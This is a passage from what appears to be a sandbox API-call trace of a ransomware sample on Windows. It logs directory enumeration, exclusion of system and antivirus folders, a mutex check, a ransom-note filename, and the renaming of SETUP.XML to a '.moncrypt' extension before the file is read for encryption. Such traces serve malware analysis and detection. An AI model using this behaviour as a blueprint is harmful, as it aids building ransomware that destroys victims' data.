Controller\\VISIOR\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@婴U企@\x18?T\x18y")) returned 0xffffffff [0048.998] GetLastError () returned 0x2 [0048.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18\x81")) returned 0xffffffff [0048.999] GetLastError () returned 0x2 [0048.999] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@奬U企@\x18?T\x18\x88")) returned 0xffffffff [0048.999] GetLastError () returned 0x2 [0048.999] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0048.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0049.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@婴U企@\x18?T\x18\x8f")) returned 0xffffffff [0049.000] GetLastError () returned 0x2 [0049.000] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0049.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18\x97")) returned 0xffffffff [0049.000] GetLastError () returned 0x2 [0049.000] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.000] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.001] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.001] GlobalUnlock (hMem=0x44000c) returned 0 [0049.001] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.001] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.001] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.001] GlobalUnlock (hMem=0x44000c) returned 0 [0049.001] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.001] GlobalUnlock (hMem=0x440004) returned 0 [0049.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.001] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.001] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.001] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.001] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c90, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.002] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.002] GlobalUnlock (hMem=0x440004) returned 0 [0049.002] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.002] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.002] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.002] GlobalUnlock (hMem=0x440004) returned 0 [0049.002] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.002] GlobalUnlock (hMem=0x44000c) returned 0 [0049.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0049.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0049.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0049.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0049.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\") returned 0x57 [0049.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0049.004] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.005] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.005] GlobalUnlock (hMem=0x44000c) returned 0 [0049.005] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.005] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.005] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.005] GlobalUnlock (hMem=0x44000c) returned 0 [0049.005] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.005] GlobalUnlock (hMem=0x440004) returned 0 [0049.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0049.005] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.005] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.005] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0049.005] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.005] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.005] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.005] GlobalUnlock (hMem=0x440004) returned 0 [0049.005] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.005] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.005] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.005] GlobalUnlock (hMem=0x440004) returned 0 [0049.005] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.005] GlobalUnlock (hMem=0x44000c) returned 0 [0049.005] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.006] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", cchWideChar=96, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.", lpUsedDefaultChar=0x0) returned 96 [0049.006] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0049.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.", lpUsedDefaultChar=0x0) returned 4 [0049.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.007] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0049.007] CloseHandle (hObject=0x190) returned 1 [0049.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\я")) returned 1 [0049.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0049.009] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0049.009] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0049.009] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0049.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0049.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.moncrypt")) returned 1 [0049.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.015] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.016] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5061 [0049.016] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.016] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x4000, lpOverlapped=0x0) returned 1 [0049.018] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.018] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.018] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.018] GlobalUnlock (hMem=0x440004) returned 0 [0049.018] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.018] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.018] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.018] GlobalUnlock (hMem=0x440004) returned 0 [0049.018] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.018] GlobalLock (hMem=0x440004) 